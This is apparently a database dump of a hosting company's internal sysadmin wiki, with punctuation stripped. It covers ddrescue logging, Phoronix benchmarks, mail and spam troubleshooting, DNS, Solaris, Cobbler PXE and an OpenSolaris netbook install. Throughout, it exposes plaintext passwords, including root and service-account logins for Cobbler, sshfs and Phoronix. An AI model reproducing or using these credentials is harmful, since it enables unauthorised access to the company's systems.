remote folder with sshfs archimedes anduril sshfs -p 12273 sagotech nocbox sagonet com ddrescuelogs mnt sagotech nocbox sagonet com com\'s password s4g0n0ct3ch archimedes anduril ls mnt 10 20 30 40-test now run ddrescue directing the log to mnt ddrescue dev sda dev sdb mnt 66 118 123 47-31mar09 txt --- filename of log to specify number of retries use -r -1 infinite and to resume where you left off use -c for example ddrescue -r 3 -c dev sda dev sdb mnt 66 118 123 47-31mar09 txt this will pick up where the last attempted was interrupted note you can run multiple passes and use the same log file - it will only attempt to get the bad sections on subsequent passes '),(180,'linux benchmarking tools',' why benchmark why benchmark why benchmark how fast is my server what are the performance characteristic of sago sago\'s quad core amd servers how about the dell 1950 with sas drives in a raid 5 what is the best server to use for a database or forums server can a cusotmer compare their existing server with another provider directly against a sago server running the exact same tests what server has the fastest drive io how about memory while it is easy to guess or make assumptions unless you actually test and benchmark servers you really have no idea and you can easily over or under sell hardware or not get customers the hardware they need if you don\'t know its true performance there are many ways to benchmark servers and many tools available to do so after researching i found the phoronix test suite which does an admirable job uses a respectable methodology and is well supported this guide is for internal use there is an external customer guide on the knowledge base as well and further general information on benchmarking can be found there phoronix phoronix phoronix description from the official web site the phoronix test suite is the most comprehensive testing and benchmarking platform available for the linux operating system this software is designed to effectively carry out both qualitative and quantitative benchmarks in a clean reproducible and easy-to-use manner this software is based upon the extensive linux benchmarking work and internal tools developed by phoronix com since 2004 along with input from leading tier-one computer hardware vendors this software is open-source and licensed under the gnu gplv3 the phoronix test suite consists of a lightweight processing core pts-core with each benchmark consisting of an xml-based profile with related resource scripts the process from the benchmark installation to the actual benchmarking to the parsing of important hardware and software components is heavily automated and completely repeatable asking users only for confirmation of actions installation installation installation very easy to install note that the 1 6 version does not support the bonnie test there will be a version 1 8 very soon and a major 2 0 release in 2009 with many new features 1 download the tar gz for the version you want from 2 exract tar zxvf phoronix-test-suite-1 4 2 tar gz 3 install a needed dependancy yum install php-cli 4 install the test suite itself install sh 5 run it #phoronix-test-suite list-tests getting started getting started getting started once installed you can browse available tests get information on them execute them and upload results to phoronix global web site with only a few commands a simple quick start guide is at just enter the command by itself and it will tell you your main options there is also a man page #man phoronix-test-suite list-tests here is a simple way to start archimedes anduril phoronix-test-suite list-tests archimedes anduril phoronix-test-suite list-suites archimedes anduril phoronix-test-suite info universe-cli archimedes anduril phoronix-test-suite benchmark universe-cli multiple tests are space seperated archimedes anduril phoronix-test-suite benchmark universe-cli bonnie byte hdparm-read linux-kernel-compile results are then stored for example to home archimedes phoronix-test-suite test-results comptest composite xml it will then ask if you wish to upload them to their web site currently once uploaded they can not be deleted or changed you may wish to save them then edit the names etc with vi and then upload them you can upload any test at any time later web results web results web results as above test results can be uploaded to our sagolabs account at the end of the test or any time later to manually upload later first ensure that the install is configured for our account phoronix-test-suite login user-name sagolabs password s4g0ph0r0n1x account 1t86-3y54-mo account information written to user-config xml you may now upload test results by upload-results once uploaded you can view all our results on their web site under our account and our rss feed is at advanced tools advanced tools advanced tools by reading the man page and the web site you will discover there are many advanced tools and ways to use this testing suite you can run benchmarks and compare them to another by referencing the online profile to compare to you can combine test result together and publish them on line the new version will introduce many more features as well phoronix forum phoronix forum phoronix forum our forum login info is sagolabs s4g0 ph0r0n1x note this pw has a dot whereas the one used to upload test results does not '),(181,'sendmail troubleshooting',' sendmail basics sendmail basics sendmail basics documentation how sendmail works troubleshooting queued messages view the queue with #qmail -bp or #mailq ask sendmail to redeliver with #qmail -q the queued messages can be found in root tardis timelord # ls var spool mqueue dfmbpeikvx024475 dfmbpeywzs027429 dfmbpgjfhu013423 qfmbpetix7026377 qfmbpfdlzo006408 these are divided between the message payload and the headers they are separated mail log you can also grep for information in the mail log #cat var log maillog grep queued #cat var log maillog grep joe user name database look in etc mail for virtusertable or userdb or similar troubleshooting tips troubleshooting tips troubleshooting tips try to send an mail locally to see if it goes through #echo test mail -s test email you yourdomain com you might want to look at etc aliases testing delivery root tardis mail # sendmail -bv thedoctor timelordz com thedoctor timelordz com deliverable mailer local user timelord you can also do an interactive mail session and see the entire sendmail session and if the message was accepted or not root tardis mail # mail -v cheri thebarrc com subject cli test this is a test from the cli cc this is followed by verbose output of the connection to the mail server and the result of the attempt to deliver the message to sendmail version numbers see if the version of the config file used matches the compiled version of sendmail root tardis timelord # sendmail -bs 220 tardis timelordz com esmtp sendmail 8 13 1 8 13 1 submit; thu 25 dec 2008 12 01 52 -0500 the config file is in etc mail sendmail cf testing valid addresses you can use telnet and smtp commands to send mail to a user or test whether a user exists on a remote mail server if allowed thee the article smtp address verification dns and mail dns and mail dns and mail dns is tricksey and if allowed it will foil your plans example sendmail would accept messages but never deliver them they would stay forever in status queued reason the zone file was missing the a record for the domain and for whatever reason the name server entries were also not correct sure enough it could resolve www domain com but no just domain com and thus no delivery there are all manner of dns things that can prevent delivery also an improper hostname and can to same '),(182,'inquisitor hardware testing',' '),(183,'stream editor sed',' append something to the end of an existing line good general sed examples general sed tutorial '),(184,'suse dns server configuration',' intro setting up a dns server in suse 11 is quite easy you can set it up in yast using either the full yast xwindows gui or the curses based yast in bash having such an easy dns set up tool in the command line to configure a dns server is particularly nice the steps are identical regardless of which environment you are in yast-dns-cli-config center thumb dns config in the cli made easy i set this up at home to provide dns services inside my home network this way i can have names assigned to ips and not have to remember systems by ip i found this article to be a great how to on setting this up however i also found some points where more information could be helpful dns server configuration dns server configuration dns server configuration in yast i configured the following dns sections in with basic configuration ensure you disable the firewall or open port 53 set to run at boot up as desired forwarders i added by default gateway 192 168 2 1 dns zones created a master dns zone named house com dns records 1 edit the dns zone and add and an ns record ns1 house com 2 create an a record for the ns record you just made as well as a records for any hosts on the network enlarge the thumbnail at the top of this article for an example note follow the pictures in the referenced guide and the steps above exactly notice you first create an ns record ns1 house com and later create an a record too for ns1 - it is easy to miss this point you will find the actual zone files in var lib named master and you may either edit them directly or use yast testing testing testing verify that named is running and listening on port 53 callandor # service named status checking for nameserver bind number of zones 15 debug level 0 xfers running 0 xfers deferred 0 soa queries in progress 0 query logging is off recursive clients 0 0 1000 tcp clients 0 100 server is up and running running callandor # callandor # telnet 192 168 2 3 53 trying 192 168 2 3 connected to 192 168 2 3 escape character is \' \' telnet quit connection closed note you might have to restart named if you are having problems sometimes it likes to say it is running and appears fine but in fact is dead you should now be able to host or ping one of the a records you created above for example here i use the host command to ask the dns server directly what the ip is for the host named mac callandor # host mac house com 192 168 2 3 using domain server name 192 168 2 3 address 192 168 2 3#53 aliases mac house com has address 192 168 2 11 now as long as i have an entry in my etc resolv conf for the name server i just created i don\'t have to actually specify the ip in the host command you should just be able to host mac house com and get an answer if you do not then check your etc resolv conf callandor # host mac house com mac house com has address 192 168 2 11 additionally if you want to be really lazy add a search house com entry in your etc resolv conf so you don\'t even need to type in the full domain name callandor # host mac mac house com has address 192 168 2 11 here is my etc resolv conf search house com nameserver 192 168 2 3 nameserver 4 2 2 2 now i can ping ssh ftp etc any host on my home network simply by the a record name set up for it callandor # ping linux ping linux house com 192 168 2 3 56 84 bytes of data 64 bytes from 192 168 2 3 icmp_seq 1 ttl 64 time 0 050 ms 64 bytes from 192 168 2 3 icmp_seq 2 ttl 64 time 0 065 ms c --- linux house com ping statistics --- 2 packets transmitted 2 received 0 packet loss time 1010ms rtt min avg max mdev 0 050 0 057 0 065 0 010 ms goal accomplished the epitome of laziness fixed ip address per host fixed ip address per host fixed ip address per host see pxe boot server for more information on setting up dhcp and tftp servers in suse in order for the dns server to work the ip addresses have to remain the same for each host on your network you can either just configure the ip addresses statically or set up your dhcp server to always give the same ip address to a client based on its mac address i chose the latter mainly as i wanted to experiment with this at home - it might be extremely useful in some work environments where you want a dhcp server running on the network but want certain servers to always have the same ip etc this is a simple matter of adding a host clause to your etc dhcp conf such as host appleg4 hardware ethernet 00 03 93 56 47 28; fixed-address 192 168 2 11; '),(185,'yast-dns-cli-config',' '),(186,'yast-dns-config',' '),(187,'planet rss aggregator',' daily operation the planet script runs from cron daily a symlink to it var lib planet generate-planets its just a script that runs this # bin bash cd var lib planet sagonet planet py config ini you have to be in the directory where the config file lies to run planet py templates templates templates the template is in var lib planet sagonet index html tmpl is the file you need to edit if you need to adjust the template the python py will put all the static html crap into var www labs sagonet com config ini config ini config ini this file controls the list of rss feeds and the location of the face images its pretty self explanatory external links external links external links planet software templating documenation '),(188,'network negotiation issues',' verifying switch settings it is usually a good idea to verify the switch port configuration when trouble shooting speed duplex issues it is better to do this early in the process rather than later just go to tech center put in the ip and click view switchport configuration most but not all switches support this speed duplex settings speed duplex settings speed duplex settings to permanently set the speed and duplex you can pass the ethtool options in the interface config file centos suse or make an init script to issue the needed mii-tool or ethtool commands ubuntu - but see below if you go this route you can also add an mii-tool command to rc local on centos but this will not work on suse as there is no rc local by default and though you can make one it is far easier to just pass the options in the interface file centos suse ethtool_opts speed 100 duplex full autoneg off ubuntu you can make a script that uses mii-tool commands and set it to run on start up or you can use this site to make an init script that runs at boot and uses ethtool it won\'t work sometimes if a port is manually set to 100mb-fd on the switch you may have difficulty getting the server to come up at the same duplex no matter what ethtool or mii-tool commands you use it won\'t work in that case it may be necessary to use the -a option with mii-tool to first set the advertised capabilities of the nic then use the -f option to manually set the speed duplex #mii-tool -rr #mii-tool -a 100basetx-fd #mii-tool -f 100basetx-fd eth0 if you make this into a script make sure you use sleep 5 after the first two lines or the interface will not be ready to receive the next command and it will have not effect '),(189,'o3spaces collaboration suite',' where to go where to go where to go just point your browser to log in with loginname spcstudent password spcstud3nt this will log you into the web interface from here you can go to different workspaces each workspace is for a separate project and you have to be a member of the workspace to collaborate from here you can download documents to view them and take part in the discussion if you want to change documents you will need to download and the workspace assistant and install it workspace assistant workspace assistant workspace assistant the workspace assistant integrates with open office and microsoft office to make sharing documents with o3spaces easy you install the assistant by logging into the o3spaces server and clicking just to the left of the workplace assistant is offline in the upper right hand corner of the screen you must have the java runtime environment installed and java must be enabled in your browser if you do an installer will run and set up the assistant on your computer be patient it takes a few minutes to download and start the installer you will then have workplace assistant icon in your taskbar make sure that you are signed in and the icon in the task bar is blue and workspace assistant is online is displayed at the top of the page otherwise you will not be able to save your changes to documents now click on the o3spaces icon in your task bar select configuration and then install plug in to configure ms office or open office to work fully with o3spaces you must do this last step for everything to work correctly linux notes despite having jre and the firefox java plug java-1_6_0-sun-plugin or equivalent installed i had to goto the tmp directory and make the assistant jnlp executable and then as root manually run it with callandor home paracelsus# javaws tmp assistant jnlp i found i had not trouble running jnlp files in general however i could not run workspace assistant for some reason if you want to test if java web start works in general try a site that has a jnlp file as a test such as editing documents editing documents editing documents you can simply click on a document in the workspace and open it when you are ready to save it just click on save in the file menu and it will synchronize the changes you made to the version in the workspace then make sure you close the document completely or it will still be checked out to you once you fully close it the revision number will increase in the workspace and other will be able to check it out to edit it note you have to be signed into the workspace assistant for this to work and you should see a workspace menu in word etc sites sites sites '),(190,'site redirection',' site redirection there are several ways to forward an entire site or a single page to another site here are several methods you can use you also might want to verify what is really going one with the redirect by using the live http headers plug in for firefox this way you can monitor what the browser asks for what what it actually gets back you then then tell if a 301 redirect is being used etc htaccess move a single page redirect 301 oldpage html move an entire site redirect 301 redirect non-www to www sites options followsymlinks rewriteengine on rewritecond http_host yoursite com nc rewriterule 1 l r 301 several more examples are at the above link html meta tag redirection this is not the best route to take but it will work use and htaccess if you can php header location ; used as an index php file etc cpanel you can set up forward domains in cpanel however i have found they sometime just don\'t really work also this only works for a single ip and usually you are not lucky enough to have the site you want to move be on that ip - of course dns you can set up dns with cname records and define sub domains and also redirect a site to another dns server completely however this is a bit more difficult to set up '),(191,'xwindows tricks',' monitor suspend modes monitor suspend modes monitor suspend modes to have your monitor go into suspend mode try these verify your x config etc x11 xorg conf perhaps contains dpms options in the monitor sections for example option dpms option standby time 20 option suspend time 30 try to suspend the monitor from the command line callandor # xset dpms force off callandor # xset dpms force suspend verify if acpi is enabled callandor # powersave -s no acpi apm support these sites have additional tricks to try messaging messaging messaging using zenity via ssh display 0; export display zenity --warning --text oh my god '),(192,'dns domain name service troubleshooting',' ptr records these allow you to do a reverse dns lookup given the ip address you can determine a hostname dig -x 66 118 149 130 or for the short answer and by asking a specified name server archimedes anduril dig short -x 66 118 149 130 ns00 tpa sagonet net timelordz com other record types other record types other record types to get information on a particular type of record you can use dig timelordz com mx or host -t mx timelordz com you can also specify which server to query specifically host -t mx timelordz com 66 118 170 2 or dig 66 118 170 2 timelordz com mx dig trace dig trace dig trace adding this option is somewhat like a traceroute for dns it will show the hierarchy of nameservers queried and their responses from the root nameservers to the authoritative ones for that domain dig trace timelordz com the final answer in this output shows that actual authoritative nameservers who are answering for this domain in this case timelordz com 86400 in a 66 118 149 130 timelordz com 86400 in ns ns1 timelordz com timelordz com 86400 in ns ns2 timelordz com ;; received 115 bytes from 66 118 149 130#53 ns1 timelordz com in 4 ms tricks tricks tricks lets say you want to know if a name server already has a cached record for a domain if you ask it and it does not know it will ask the authoritative server get the answer put it in its cache and then answer you - thus you will not know if it already had it or if it just found out in this case you can query it using dig 66 118 149 130 www cnn com norecurse if it does not have an rr it will not respond with an answer section it will not ask other name servers if it already has one in the cache it will provide an answer section feeding dig a list # use a list of hostnames with consolidated output dig -f path to host-list txt noall answer dns reports here are some sites where you can reports about how your dns is configured this one is free additional references on dig and dns additional references on dig and dns additional references on dig and dns '),(193,'tracking down spammers',' outgoing spam exim logs with full paths finding the source of outgoing spam can be a serious pain in the but recently i found this excellent article however that gave some very good suggestions it is well worth reading one particularly useful hint was to add this option to you exim conf you can do this right in whm in whm exim configuration editor switch to advanced mode in the first textbox add the following line and then save log_selector arguments subject add this in the text entry box in whm and click save at the very bottom of that config screen exim will not log the directory from which the script ran which generated the mail whoo friggen hoo sample root dzgns # tail -f var log exim_mainlog vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv 2009-02-11 13 27 18 cwd home suprenm public_html renhelpdesk admin 3 args usr sbin sendmail -t -i 2009-02-11 13 27 18 1lxkki-0000no-5p nobody dzgns e-luminating com u nobody p local s 750 t you have been assigned the ticket # ts00001039 2009-02-11 13 27 18 cwd var spool exim 3 args usr sbin exim -mc 1lxkki-0000no-5p 2009-02-11 13 27 19 1lxkki-0000no-5p dcowan g7solutions com r lookuphost t remote_smtp h mail webinmotion com 69 94 234 142 x tlsv1 aes256-sha 256 2009-02-11 13 27 19 1lxkki-0000no-5p completed exim log files you can find more info on exim logs at the official site here also see the pdf file in the section on exim and whm below exim queue commands exim queue commands exim queue commands list messages in the current exim queue with root dzgns # exim -bp 4d 1 3k 1lw3zy-0001cw-2k nobody support urbanthreads com d nsnyder e-luminating com to do the same with sendmail use #qmail -bp or #mailq you can now track down the messages themselves somewhere like root dzgns # grep -r 1lx7tc-000070-er var spool exim input root dzgns # grep -r 1lx7tc-000070-er var spool exim input var spool exim input c 1lx7tc-000070-er-d 1lx7tc-000070-er-d var spool exim input c 1lx7tc-000070-er-h 1lx7tc-000070-er-h var spool exim input c 1lx7tc-000070-er-h id 1lx7tc-000070-er; tue 10 feb 2009 23 43 38 -0600 var spool exim input c 1lx7tc-000070-er-h 055i message-id root dzgns # ls var spool exim input the above shows grepping for the message id the separate files are for the headers and the message content itself d data h header you can cat these and find the juicy spam also see the exigrep command which allows for easy searching of strings in exim logs usage exigrep -i -l -t -v sendmail may use something like var spool mqueue but is otherwise the same you will find the data and headers there whm and exim whm and exim whm and exim a very helpful pdf created by cpanel on exim and spam fighting techniques covering exim queue commands exigrep exmin log and log levels and how mail deliver assp domain keys and spf function can be found here a general whm mail faq with all kinds of things can be found here one thing of interest is boxtrapper which can be configured under mail in each user user\'s cpanel account this allows them to set up an email verification whitelist to help eliminate spam you can find more info on configuring boxtrapper here phpsuexec phpsuexec phpsuexec having phpsuexec enabled is also extremely useful as it will then tell you the user account sending the mail this of course is configured on a wmh box by compiling it in as an option in the apache php build wizard or through running scripts easyapache qmail qmail qmail additional info for tracking down spammers on qmail '),(194,'solaris tips',' good sites here is a pretty good opensolaris guide with a variety of tip finding & mounting disk partitions finding & mounting disk partitions finding & mounting disk partitions fdisk -l does not work in solaris so to collect information on partitions try these tools #df -kh to show mounted file systems and #format 0 p p to display partition information on physical drives will not work on sd cards prtconf you can also grep prtconf and look for the device names each block device is associated with for example bash-3 2# prtconf -v ggrep -a 20 sd value \'sdhc memory card\' dev_path pci 0 0 pci8086 27d6 1c 3 pci1025 15b 0 2 sdcard 0 disk 0 0 a sectype blk type minor dev_link dev dsk c5t0d0s0 dev_link dev hotpluggable dsk c5t0d0s0 dev_link dev removable-media dsk c5t0d0s0 dev_link dev sd40a you can use any of the device link names to reference the device knowing this you can then use prtpart see section on ext3 for installing to get specifics on the device partitions note the ending s0 becomes p0 when using prtpart prtpart bash-3 2# prtpart dev dsk c5t0d0s0 the device name must end with pn where n is the partition number bash-3 2# prtpart dev dsk c5t0d0p0 fdisk information for device dev dsk c5t0d0p0 block size 512 bytes controller sdcard disk sd capacity 15 gb # start block # nblocks startcylsechd endcylsechd ostype 1 0000000063 0030668022 0 1 1 ff ff fe linux native 2 0030668085 0001429785 ff ff fe ff ff fe dos extended # start block # nblocks startcylsechd endcylsechd ostype 5 0000000063 0001429722 ff ff fe ff ff fe linux swap bash-3 2# prtpart dev dsk c5t0d0p0 -ldevs fdisk information for device dev dsk c5t0d0p0 note dev dsk c5t0d0p0 - physical device referring to entire physical disk dev dsk c5t0d0p1 - p4 - physical devices referring to the 4 primary partitions dev dsk c5t0d0p5 - virtual devices referring to logical partitions virtual device names can be used to access ext2 and ntfs on logical partitions dev dsk c5t0d0p1 linux native dev dsk c5t0d0p2 dos extended dev dsk c5t0d0p5 linux swap we can see now that dev dsk c5t0d0p1 is the partition to mount so let let\'s do it with bash-3 2# mount -f ext2fs dev removable-media dsk c5t0d0p1 mnt to mount a fat partition you would use bash-3 2# mount -f pcfs dev dsk c4t0d0p1 mnt show block devices show block devices show block devices #iostat -e this should show hard drives cd roms ssd drives and sd cards to get verbose information on all devices you can use the following which is similar to dmidecode in linux and grep for what you need to see your sd sdhc cards #prtconf -v ggrep -a 20 sd this will show the device names associated to each block device for example output might to similar to here you can see my sdhc card is associated with the device names and can be mounted using any of them ext3 ntfs support ext3 ntfs support ext3 ntfs support these are not supported natively you will need to install two packages in order to have read only access i do not yet know if rw access is possible but at least this will allow you to mount and view these file system types see the misc downloads section you need to download and install fswpart tar gz x86 partition table viewer fswfsmisc tar gz packages for ntfs and ext 2 3 read-only support download gunzip untar then add with pkgadd -d fswpart or move to var spool pkg and run pkgadd fswpart etc for more information on using these packages to mount ext2 3 file systems see zfs tools zfs tools zfs tools zfs admin guide is helpful in the following example a snapshot of tank home ahrens that is named friday is created # zfs snapshot tank home ahrens friday snapshots # zfs destroy tank home ahrens friday # ls home ahrens zfs snapshot tuesday wednesday thursday you can list snapshots as follows # zfs list -t snapshot environment fixes environment fixes environment fixes arrow backspace keys fix the issue with arrow and backspace keys not working in vim install vim opt csw bin pkgutil -i vim create a vimrc file with filetype plugin on filetype indent on syntax on set bs 2 have colored output in ls install the fileutils package opt csw bin pkgutil -i fileutils then set an alias in your bashrc alias ls \' opt csw bin gls --color auto\' you can set the colors and get much fancier by following the advice http blogs sun com observatory entry ls_colors here xorg config xorg config xorg config solaris generates a xorg conf dynamically at boot time if you want to created or edit one yourself you may need to run as root usr x11 bin xorg -configure for more information see this forum post package management package management package management ips is the new packaging system you can find documentation for it here here is a good summary of apt-commands and their solaris ips equivalents pkgutil from blastwave handles dependencies and is a replacement for pkgadd if you must use pkgadd here are some tips example of pkgadd commands installing vim with pkgadd yuck usr sfw bin wget or wget gunzip vim-7 2-sol10-sparc-local pkgadd -d vim-7 2-sol10-sparc-local root unknown var spool pkg pkginfo grep vim application smcvim vim root unknown var spool pkg pkgchk -v smcvim '),(195,'cobbler pxe install manager',' cobbler pxe environment cobbler is pxe install manager similar to the system we have been using here at sago however it includes additional features and greatly simplifies the management of the pxe environment the intention is to test this fully to determine if it can be used as a complete replacement solution for our existing pxe system one of the greatest features is a web gui interface for managing kickstart files and the ability to very easily import any new distro either from a mirror or a cd you can also make pxe bootable environments from live cds infrastructure infrastructure infrastructure the existing install-gw tpa sagonet net remains where it is with almost zero changes this remains the dhcp server for the install subnet a separate server provides the cobbler services cobbler sagonet com on the install network and has an ip of 192 168 42 100 moving between the two environments requires only changing the next-server argument in the dhcpd conf on install-gw tpa sagonet net visit to choose the install environment you wish you use it it\'s that simple to switch back and forth so the boot process is simple client gets a dhcp ip from install-gw tpa sagonet net the dhcp lease points the client either to install-gw tpa sagonet net or to cobbler sagonet com the client pxe boot the environment from which ever server dhcp points to please see pxe explanation for more details on how our pxe network works cobbler interface cobbler interface cobbler interface log on to for the web gui username sagotech password s4g0c0bbl3r if anthn_testing is set in etc cobbler modules conf then username testing password testing cobbler server itself cobbler sagonet com user sagotech password s4g0cobbl3r user root password c0bbl3r4m3 command line tools command line tools command line tools to install the latest pxe install version of centos this is extremely simple - just wget the correct kernel and initrd from any mirror into the proper tftpboot directory and import into cobbler note you can navigate in the mirror to the i386 or x86_64 paths for 32 or 64 bit versions note that the kernel and initrd from the pxeboot directory of distros are different than the initrd of the full install - you need to ensure you get the correct one which can be sometimes tricky to figure out you may also have to modify the initrd for some distros to add drivers to them - for example see debian broadcom nic drivers cd tftpboot #note there are separate directories for each distro cd centos wget wget cobbler distro add --name centos53 --kernel tftpboot centos c53-r2 vmlinuz --initrd tftpboot centos c53-r2 initrd img cobbler sync you will now see the distro show up in cobbler but it will not be in the pxe menu until you create a profile in the webui using this distro to install the latest 64 bit pxe install version of a distro same basic procedure as above - grab the 64 bit vmlinuz and initrd from a repo etc here is an example of the link to the 64 bit kernel and initrd for fc10 extra step for 64 bit oses make certain the kickstart line in the cobbler profile has the 64 bit flag set so that the kickstart points to the install repo for the correct architecture for fc10 above the 64 bit ks line would be where are the older versions of centos when a new version come out you have to go to the vault site to find previous releases this is where you will find the vmlinuz and initrd for older versions for example where to get debian see http www debian-administration org articles 478 this article which gives the location such as how about ubuntu you can also use an ftp command like lftp -c mirror for ubuntu server you have to download and mount the iso then copy the kernel and initrd from the netinstall folder wget or maybe cp mnt install netboot ubuntu-installer i386 linux tftpboot where-ever i want to deploy a binary blob like memtest86 cobbler image add --name foo --file path to memtest86 --image-type direct cobbler sync import a distribution mirror cobbler import --mirror rsync rsync gtlib gatech edu centos 4 5 os i386 --name centos-4 5-i386 cobbler sync import a distribution dvd note we usually don\'t need to import a while dvd use a reference to an on-line mirror instead it saves space and will always be updated the only time you should need this is when on line mirrors are not available mount the media cobbler import --mirror media dvd --name fedora9 cobbler sync note that you can also import a distribution using a mounted dvd image or iso if you have one available or use rsync as --mirror user host path to copy content from an internal server if you already have an install tree mirrored what if you already know what software and configuration a particular system should receive run the following command to map a particular machine to the profile that should be installed on it substituting aa bb cc dd ee ff for the mac address of the system cobbler system add u8e28093name aa bb cc dd ee ff u8e28093profile rhel5-i386 pxe menus pxe menus pxe menus cobbler will automatically generate pxe menus for all profiles it has defined running cobbler sync is required to generate and update these menus troubleshooting troubleshooting troubleshooting #cobbler won\'t start ## if you are seeing something like this root cobbler # etc init d cobblerd start starting cobbler daemon traceback most recent call last file usr bin cobblerd line 32 in api bootapi bootapi file usr lib python2 4 site-packages cobbler api py line 90 in __init__ self deserialize it most likely means that a recently added config file from a distro or more likely a profile has incorrectly formatted data in it edit or remove the offending file form here is another example helping to zero in on the offending file root cobbler # cobbler profile list missing \'-\' for seq near line 7 init rc root cobbler tftpboot # cat var lib cobbler config profiles d dban --- depth 1 dhcp_tag default distro dban kernel_options --method init rc so we can see it is choking when parsing the contents \' rc\' on line 7 from var lib cobbler config profiles d dban you have to sometime manually edit these autogenerated config file note well the yaml interpreter that parses these is very unforgiving - a trailing space etc will error the error message will usually point you in the right direction if this case the file was manually edited to read kernel_options root dev ram0 init rc nuke dwipe --method quick this same should apply to any distro or profile where you have to specify boot or ks options ref pxe server broken pxe server broken pxe server broken remember - you can always bypass the install server and still use our kickstart server sago centos mirrors etc in other words just because the install-gw cobbler is down you can still actually do centos installs how easy - just boot the server using a cd or dvd and and the boot prompt simply type linux ks substituting your values as needed in the ks string the meaning and use of this ks string was one of the things covered in the training covered on tuesday you can also do the same with debian and suse pointing them to our ks server - though it is a bit different the server that generates the actual ks file and the centos mirror server files are pulled from during install time are not the same box as the install-gw so you can bypass it as above you will need a cd to start with but you should be able to use a netinstall cd - not a full dvd as you only need the boot environment i suggest everyone always have a centos cd or dvd net install or otherwise instructions for doing a net install for suse are at opensuse 10 3 moral of the story if the install-gw is down you can still use our custom ks sever and do centos installs just as though you did them through pxe the end result is identical make your own kickstarts make your own kickstarts make your own kickstarts red hat system-config-kickstart can help you generate a kickstart also look in root anaconda-ks cfg for the ks that was created at install time debian apt-get install debconf-utils debconf-get-selections --installer preseed cfg you can find more info on debian preeseeding http wiki debian org debianinstaller preseed here useful sites useful sites useful sites '),(196,'opensolaris indiana 2008 11 acer aspire one install',' innomat_solaris_180 right right installing opensolaris on your acer aspire one in 10 or less steps intro intro intro note please note this is my personal note book wiki and as such is closed to editing if you wish to leave feedback please see my blog at getting opensolaris 2008 11 running on your acer aspire is pretty cool solaris is a great os with many features that will entertain any linux geek for a while zfs & timeslider snapshots dtrace zones - it it\'s basically geek candy installing it is of moderate difficulty and the below guide might assist you please note that you can also download solaris express community edition sxce which has wifi and video working out of the box and uses a root zfs install however if you want to play around with ips i believe you will need to install 2008 11 - at least i was unable to get ips working in the current sxce builds also the sxce install is not very intuitive for those not already familiar with solaris package names but it does work well without a lot of additional steps required or install and test drive one and then the other if you like you may also find this post of interest if you want to install solaris on your ssd drive and then boot ubuntu from an sd card there are two install methods given below either will work remember even if you get x working and launched in the live cd you will just have to repeat the steps in the final installed system install will take 2 6gb instructions have been test on paracelsus callandor desktop ssh jack 192 168 2 53 password jack last login sat mar 7 08 10 20 2009 sun microsystems inc sunos 5 11 snv_101b november 2008 install from the live cd install from the live cd install from the live cd there are several things you need to do to install from the live cd first off when you boot x will not start correctly as it is missing the correct intel driver it is possible though to make a new xorg conf file edit the video driver to vesa and then start up gnome the following steps guide you through how to do this while not necessary i also include setting up ssh so you can connect from another computer should x hang etc note that you may find the alternate method remote install using ssh to actually be a lot simpler than this you will have to repeat these steps in the final install to get x working so you will do most of this twice if you want to skip getting x working for the install see the next section on x forwarding the installer gui 0 connect an ethernet cable to a dhcp enabled network 1 boot the live cd 2 respond to language language set up prompts 3 login as jack jack 4 become root su - pw opensolaris 5 if needed etc sshd config - enable root login and x forwarding x offset 6 enable ssh #svcadm enable sshd 7 #xorg -configure the above will generate xorg config new in current root directory 8 edit xorg config new changing intel to vesa for the driver 9 verify you have network ping something this way you can ssh in from another system if the x session hangs etc 10 ifconfig -a shows interfaces and your ip address 11 # usr x11 bin xinit usr bin dbus-launch gnome-session -- usr x11 bin xorg -config root xorg conf new 12 disable gnome screen saver in preferences once activated i could not log back in as root 13 navigate to desktop folder in jack jack\'s folder places -- computer 14 click the install opensolaris icon 15 the graphical installer will lead you through the partitioning and install process items marked are optional steps note you can not make customer partition changes in the installer such as resizing existing partitions etc if needed before you run the installer use gparted to set up the partitions how you like note solaris uses the same partition type as a linux swap partition thus if you use gparted and create a swap partition of the size you wish your solaris partition to be you will simply be able to select it as the target partition when you run the installer if you try to start x as user jack you might see ee gartinit unable to open dev agpgart resource temporarily unavailable ee intel 0 dri driscreeninit failed disabling dri ee intel 0 failed to allocate framebuffer is your videoram set too low ee intel 0 couldn\'t allocate video memory fatal server error addscreen screeninit failed for driver 0 xio fatal io error 146 connection refused on x server 0 0 after 0 requests 0 known processed with 0 events remaining the magic trick to get gnome started using vesa is well documented at stephen han han\'s blog sun guy which you can find here the following site was helpful in troubleshooting getting x running remote install using ssh remote install using ssh remote install using ssh x forward the gui installer this method allows you to perform the install remotely from another system by x forwarding the gui installer x forwarding is quite a handy tool and here is a perfect application for it the options presented are exactly the same has running the installer from gnome off the live cd so should you be unable to get x working for some reason and can\'t run the install from cd you can still use this method on the aspire one 1 boot the livecd and login to the text console as user jack password jack 2 su - password opensolaris 3 dhcp is enabled by default verify your ipaddress by running ifconfig -a 4 enable ssh svcadm enable sshd from another system on same network note you can even do this from a windows pc by installing the xming xserver for windows and using an ssh client such as putty ensure putty has x forwarding enabled in the ssh options see the article ssh over x for more info 1 ssh as user jack password jack remember to specify -x to enable x forwarding in you ssh session for example ssh -x jack ipaddress 2 run xeyes to verify x forwarding is working 3 # usr bin pfexec usr bin gui-install you may now continue the installation as though running it from gnome on the live cd working x on the aspire is not required note you will have to follow the same basic steps in the install from live cd section once the install has completed to get x working on the new os the following link was helpful in the above procedure wireless drivers wireless drivers wireless drivers you will need to download and reinstall the wireless driver there is one already installed but it needs replaced you can remove the one installed first if you with with pkg uninstall sunwatheros though it is not necessary furthermore you must ensure the new driver gets attached correctly to the right pci bus device id address failing to due so will result in non functioning wireless install driver first download the driver from dave clack clack\'s excellent blog here and follow the instructions given to install it when you install it pay particular attention the the ending output and if you see the following you will need to take the additional steps below to attach it ## installing part 1 of 1 kernel drv amd64 ath kernel drv ath verifying class ## executing postinstall script devfsadm driver failed to attach ath warning driver ath successfully added to system but failed to attach installation of was successful root opensolaris export home vegablue desktop# note the output saying the ath driver failed to attach if that is the case continue with the below attaching the driver attaching the driver attaching the driver to attach the driver you need to locate the pci bus address of the device and reinstall the driver specifying that address you can use the device driver utility from gnome -- system tools or the following in the shell root opensolaris # usr x11 bin scanpci grep -b1 atheros 2921-pci bus 0x0003 cardnum 0x00 function 0x00 vendor 0x168c device 0x001c 2992 atheros communications inc ar242x 802 11abg wireless pci express adapter notice the vendor and device ids in the second line using your values execute the following commands as root #rem_drv ath #add_drv -i pci168c 1c ath #ifconfig 